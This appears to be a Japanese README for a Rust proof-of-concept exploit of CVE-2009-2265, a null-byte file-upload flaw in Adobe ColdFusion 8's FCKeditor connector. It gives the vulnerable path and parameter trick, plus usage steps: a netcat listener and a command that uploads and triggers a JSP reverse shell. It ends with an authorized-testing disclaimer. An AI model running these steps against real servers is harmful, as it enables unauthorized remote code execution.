CVE-2009-2265 - Adobe ColdFusion 8 ファイルアップロード RCE

CVE-2009-2265 エクスプロイトの POC を Rust で実装したもので、Adobe ColdFusion 8 を対象としています。

脆弱性の概要

この脆弱性により、認証されていない攻撃者が Adobe ColdFusion 8 を実行しているサーバーの Web アクセス可能なディレクトリに任意のファイルをアップロードでき、リモートコード実行 (RCE) につながります。

技術的詳細

• 脆弱性: ヌルバイトインジェクションによるディレクトリトラバーサル
• コンポーネント: FCKeditor upload.cfm コネクタ
• パラメータ: CurrentFolder
• 影響: リモートコード実行 (RCE)
• 影響を受けるソフトウェア: Adobe ColdFusion 8.0.1 およびそれ以前

説明

この脆弱性は、/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm にある FCKeditor コンポーネントのファイルアップロード機能に存在します。HTTP GET パラメータ CurrentFolder が適切にサニタイズされておらず、ヌルバイト (%00) インジェクション攻撃が可能になっています。

攻撃者は CurrentFolder パラメータを /<filename>.jsp%00 に設定したリクエストを細工することで、サーバー側の拡張子チェックをバイパスできます。基盤となるシステム (多くの場合 Java) はヌルバイトを文字列の終端として解釈し、ファイル名を <filename>.jsp として扱います。これにより、攻撃者は悪意のある JSP ファイルをアップロードできます。サーバーはこのファイルを公開アクセス可能なディレクトリ (/userfiles/file/) に保存し、そこから URL にアクセスするだけで実行されます。

この POC は、JSP リバースシェルペイロードを生成し、ヌルバイト脆弱性を利用してアップロードし、それをトリガーしてターゲットシステム上でシェルを獲得するプロセスを自動化します。

使用方法

以下の手順でエクスプロイトをコンパイルして実行します。

ステップ 1: Netcat リスナーをセットアップする

エクスプロイトを実行する前に、ローカルマシンでリスナーを起動して、送信されてくるリバースシェルを受け取ります。

nc -lnvp <attacker-port>

ステップ 2: エクスプロイトを実行する

コンパイル済みバイナリを実行し、リバースシェル用のローカルのホスト/ポートと、リモートターゲットのホスト/ポートを指定します。

cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>

スクリプトがペイロードをトリガーすると、Netcat リスナーで接続を受け取ります。

免責事項

このツールは教育目的および許可を得たペネトレーションテストのみを対象としています。責任を持って、自分が所有するか明示的な許可を得たシステムに対してのみ使用してください。